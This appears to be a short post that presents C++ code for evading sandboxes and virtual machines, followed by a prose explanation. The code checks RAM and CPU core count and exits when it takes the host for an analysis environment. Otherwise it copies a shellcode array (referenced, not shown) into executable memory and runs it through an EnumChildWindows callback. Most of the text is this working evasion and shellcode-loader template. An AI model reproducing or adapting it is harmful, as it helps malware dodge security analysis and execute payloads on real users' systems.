Bypass Sandbox and Virtual Machines
Bypass Sandbox and Virtual Machines
SysReq Class
C++ Code
#include <windows.h>
class SysReq {
private:
int ram;
int cores;
public:
SysReq(){
this->ram = 0;
this->cores = 0;
}
int getRam(){
return ram;
}
int getCores(){
return cores;
}
int ramdetect(){
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
ram = memInfo.ullTotalPhys / 1024 / 1024;
return memInfo.ullTotalPhys / 1024 / 1024;
}
int coresdetect(){
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
cores = sysInfo.dwNumberOfProcessors;
return sysInfo.dwNumberOfProcessors;
}
void getSysInfo(){
this->ram = ramdetect();
this->cores = coresdetect();
}
};
C++ Code
#include <iostream>
#include <windows.h>
#include "sysreq.h"
int main(){
cout << "Checking for VM or Sandbox...\n";
int ram;
int cores;
SysReq sysreq;
sysreq.getSysInfo();
ram = sysreq.getRam();
cores = sysreq.getCores();
if(ram < 4000 || cores < 2){
cout << "VM or Sandbox Detected.\n";
cout << "Ram: " << ram << "MB\n";
cout << "Cores: " << cores << "\n";
getchar();
return 0;
}
cout << "No VM or Sandbox Detected.\n";
cout << "Ram: " << ram << "MB\n";
cout << "Cores: " << cores << "\n";
cout << "Executing Malicious Program...\n";
HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, shellcode, sizeof(shellcode));
EnumChildWindows((HWND) NULL,(WNDENUMPROC) hAlloc,NULL);
getchar();
return 0;
}
This code appears to be a Windows program that checks for the presence of a virtual machine (VM) or sandbox environment. If it detects such an environment, it exits the program. Otherwise, it executes a shellcode stored in the
shellcode array. The code also includes a custom class called SysReq to gather system information.
1. Header Includes:
◦ <iostream>: Standard C++ input/output library for console output.
◦ <windows.h>: Windows API header for various Windows-specific functions and types.
◦ "sysreq.h": A custom header file, presumably defining the SysReq class.
2. Global Variables:
◦ char shellcode[]: An array containing binary shellcode. This code is executed if no VM or sandbox is detected.
3. main Function:
◦ Outputs a message indicating that it’s checking for VM or sandbox.
◦ Declares variables ram and cores.
◦ Creates an instance of the SysReq class named sysreq and calls its getSysInfo method.
◦ Retrieves the RAM and CPU core count information using the getRam and getCores methods.
◦ Checks if the RAM is less than 4000 MB or the core count is less than 2. If either condition is met, it assumes a VM or sandbox environment and exits the program.
◦ If no VM or sandbox is detected, it displays system information (RAM and core count) and proceeds to execute the shellcode.
◦ Allocates executable memory using VirtualAlloc, copies the shellcode into the allocated memory, and executes it by calling EnumChildWindows.
4. Shellcode:
◦ The shellcode array contains a sequence of binary instructions. It appears to be designed to perform some malicious activity when executed.
5. SysReq Class:
◦ The code references a custom SysReq class, which is expected to provide methods for gathering system information, such as RAM and CPU core count.
This code is concerning because it includes shellcode execution, which can be indicative of malicious activity. The code’s purpose is to evade detection in a virtual or sandbox environment and only execute the payload when
running on a “real” system. The actual functionality of the shellcode is not provided in the code, so its specific behavior is unknown.